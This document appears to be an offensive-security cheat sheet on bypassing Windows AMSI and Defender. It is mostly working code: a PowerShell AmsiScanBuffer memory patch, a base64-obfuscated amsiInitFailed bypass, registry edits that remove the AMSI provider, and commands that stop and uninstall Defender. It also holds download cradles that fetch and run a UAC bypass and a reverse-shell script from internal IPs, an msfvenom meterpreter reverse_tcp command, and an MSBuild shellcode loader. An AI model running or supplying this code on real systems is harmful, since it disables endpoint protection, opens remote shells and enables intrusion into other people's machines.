AMSI

Resources

Get-WinEvent "Microsoft-Windows-Windows Defender/Operational' | Where-Object Id -eq 1116 | Format-List

Introduction

AMSI supports:

  • Memory and Stream scanning

  • Content Source/ IP reputation checks

  • File scanning

AMSI is integrated with:

  • UAC

  • PS Scripts

  • Windows Scripts (wscript.exe & cscript.exe)

  • JS & VBS

  • Office VBA Macros

Techniques to Bypass AMSI

  1. Patching AMSI.dll

  2. Using Powershell version 2

Patching amsi.dll AmsiScanBuffer

#By rasta-mouse

$Win32 = @"

using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Some of the public Powershell AMSI bypasses just don`t work for loaded .NET binaries.

#These bypasses have signatures by AVs now, and need to be used with obfuscation.

#Requires Admin Access
#May not be recognized in shell. Only in PSRemote
Set-MpPreference -DisableRealTimeMonitoring $true
Invoke-Command -ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess

#Matt Graeber bypass
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

[Ref].Assembly.GetType('http://System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

#https://github.com/danielbohannon/Invoke-CradleCrafter
Import-Module ./Invoke-CradleCrafter.psd1
Invoke-CradleCrafter

#Amsi & Autologging bypass
https://gist.github.com/mattifestation/7428103e0f58618598d49921586e885a

Registry Modifications

  • Requires admin privileges.

  • To be used with UAC Bypass

  • AMSI Bypass in new PS process.

#Create new registry entry & delete original AMSI entry value
New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; 
Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse

#Automate using UAC Bypass - fodhelper
iex (New-Object Net.WebClient).DownloadString('http://192.168.3.38:8080/fodhelper.ps1');helper -custom "cmd.exe /c powershell New-Item 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFF}' -Force; Remove-Item -Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}' -Recurse; cmd.exe /c powershell  <Command>"

Obfuscation of Code

1. Use amsi.fail for an AMSI Bypass/ Remove comments if using a script using ISE Steroids.
2. If detected, use AMSITrigger to identify signatures.
3. For strings, use concatenation to bypass. For function names etc, change the names using Invoke-Obfuscation.
#Installing ISE-Steroids
Install-Module -Name "ISESteroids" -Scope CurrentUser -Repository PSGallery -Force
Start-Steroids

#Remove Comments[Remcom.py]
wget https://gist.github.com/bad-bit/952f9156e2aa5dd36c4e8e430c6aea1a

Convert Powershell script to .exe

#script.ps1
iex (iwr http://10.10.0.49/amsibypass.ps1 -UseBasicParsing); iex (iwr http://10.10.0.49/Invoke-PowerShellTcp.ps1 -UseBasicParsing)

#amsibypass.ps1
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

Encoded Malicious Executable

  • Create malicious shell code :

    msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.xx.xx LPORT=1339 -e x86/shikata_ga_nai -i 100 -f csharp
  • Append output to shellcode.xml(Below).

    • Insert into the function: public override bool Execute()

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
    
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask
        {         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute()
          {
            byte[] shellcode = new byte[<--INSERT BYTES HERE -->] {
              <-- Insert-SHELL-CODE HERE!! --> };
              
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Modifying Covenant Grunts

Key is to identify trigger points with ThreatCheck. Note that ThreatCheck shows only one trigger at a time, so this is an iterative process.

Disable Windows Defender

Disable Defender
cd "c:\PROGRA~1\Windows Defender\"
.\mpcmdrun.exe -RemoveDefinitions -All

sc query WinDefend
sc stop WinDefend

Set-MpPreference -DisableRealtimeMonitoring $true

Uninstall-WindowsFeature -Name Windows-Defender

Modifying Executables

Automates the process of splitting a binary and utilizing defender itself to scan until it pinpoints the triggering signature.

Last updated